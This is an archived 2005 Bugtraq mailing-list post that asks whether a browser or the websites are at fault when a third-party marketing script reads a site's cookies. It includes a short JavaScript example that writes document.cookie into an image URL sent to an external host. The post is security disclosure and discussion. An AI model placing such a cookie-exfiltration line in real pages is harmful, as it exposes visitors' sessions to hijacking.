[38853] in bugtraq

home help back first fref pref prev next nref lref last post

cross-domain cookie theft: who's to blame?

daemon@ATHENA.MIT.EDU (Tim Tompkins)
Fri May 13 16:29:50 2005

Message-ID: <4283EF9E.5070700@spiderlinks.org>
Date: Thu, 12 May 2005 17:06:54 -0700
From: Tim Tompkins <timt@spiderlinks.org>
MIME-Version: 1.0
To: bugtraq@securityfocus.com
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Before disclosing the specifics, I'm just wondering wherein the fault lies:

I visited a site, say abc.foo.com that loaded javascript from an 
external (marketing statistics) site, say xyz.bar.com.  The script from 
xyz.bar.com read the cookies set by abc.foo.com and posted them in a 
subsequent image tag as part of the query string.  Essentially, 
xyz.bar.com now has all of my abc.foo.com cookies and could potentially 
hijack any cookie-based sessions I had going.

Is this a browser problem, allowing cross-domain scripts to read each 
other's cookies, or is this just blatant abuse by abc.foo.com and/or 
xyz.bar.com?

Example from abc.foo.com
<html>
<head>
  <script language="javascript" src="http://xyz.bar.com/somescript.js">
</head>
  [ ... ]
</html>

Example of xyz.bar.com/somescript.js:

document.write('<img src="http://xyz.bar.com/img.gif?cookie=' + 
escape(document.cookie) + '">');


Regards,
Tim Tompkins



home help back first fref pref prev next nref lref last post